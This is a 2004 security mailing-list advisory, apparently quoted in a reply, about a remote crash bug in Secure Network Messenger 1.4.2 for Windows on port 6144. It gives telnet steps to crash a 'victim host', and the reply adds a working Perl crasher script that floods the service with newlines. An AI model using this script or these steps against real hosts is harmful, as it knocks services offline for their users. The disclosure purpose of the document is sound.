Crash in Secure Network Messenger 1.4.2

[Luigi Auriemma]

################################################## #####################

Luigi Auriemma

Application: Secure Network Messenger
http://www.networkmessengers.com/msg/
Versions: <= 1.4.2
Platforms: Windows
Bug: crash
Exploitation: remote
Date: 12 November 2004
Author: Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org


################################################## #####################


1) Introduction
2) Bug
3) The Code
4) Fix


################################################## #####################

===============
1) Introduction
===============


Secure Network Messenger is a LAN messenger for Windows for exchanging
encrypted messages and files.


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======
2) Bug
======


Is possible to crash the program sending malformed data.


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===========
3) The Code
===========


Launch a telnet client and connect to the victim host on port 6144.
Now press RETURN about 10 times or more.
Disconnect, reconnect again and press RETURN.
The remote host should be crashed.


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======
4) Fix
======


No fix.
Over one month ago the developers said that they had to fix this bug
soon... no patch has been released yet.


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---
Luigi Auriemma
http://aluigi.altervista.org

[r`Futile]

And here is my proof of concept:

#!/usr/bin/perl

use IO::Socket;
print ("\nSecure Network Messenger Crasher by ClearScreen\n");
print ("\nEnter host to crash: ");
$h = <STDIN>;
chomp $h;
$socks = IO::Socket::INET->new(
Proto => "tcp",
PeerPort => "6144",
PeerAddr => "$h"
) or die "\nNo response from host.";

sleep 1;
print "\nSuccesfully connected to $h!\n";
for ($count=1; $count<15; $count++)
{
print $socks "\n";
select(undef, undef, undef, 0.1);
}
print "\nMessenger crashed.";
close $socks;

Greetz, clearscreen


----- Original Message -----
From: "Luigi Auriemma" <aluigi@autistici.org>
To: <bugtraq@securityfocus.com>; <bugs@securitytracker.com>;
<news@securiteam.com>; <full-disclosure@lists.netsys.com>;
<vuln@secunia.com>
Sent: Friday, November 12, 2004 9:52 PM
Subject: Crash in Secure Network Messenger 1.4.2


>
> ################################################## #####################
>
> Luigi Auriemma
>
> Application: Secure Network Messenger
> http://www.networkmessengers.com/msg/
> Versions: <= 1.4.2
> Platforms: Windows
> Bug: crash
> Exploitation: remote
> Date: 12 November 2004
> Author: Luigi Auriemma
> e-mail: aluigi@altervista.org
> web: http://aluigi.altervista.org
>
>
> ################################################## #####################
>
>
> 1) Introduction
> 2) Bug
> 3) The Code
> 4) Fix
>
>
> ################################################## #####################
>
> ===============
> 1) Introduction
> ===============
>
>
> Secure Network Messenger is a LAN messenger for Windows for exchanging
> encrypted messages and files.
>
>
> ################################################## #####################
>
> ======
> 2) Bug
> ======
>
>
> Is possible to crash the program sending malformed data.
>
>
> ################################################## #####################
>
> ===========
> 3) The Code
> ===========
>
>
> Launch a telnet client and connect to the victim host on port 6144.
> Now press RETURN about 10 times or more.
> Disconnect, reconnect again and press RETURN.
> The remote host should be crashed.
>
>
> ################################################## #####################
>
> ======
> 4) Fix
> ======
>
>
> No fix.
> Over one month ago the developers said that they had to fix this bug
> soon... no patch has been released yet.
>
>
> ################################################## #####################
>
>
> ---
> Luigi Auriemma
> http://aluigi.altervista.org
>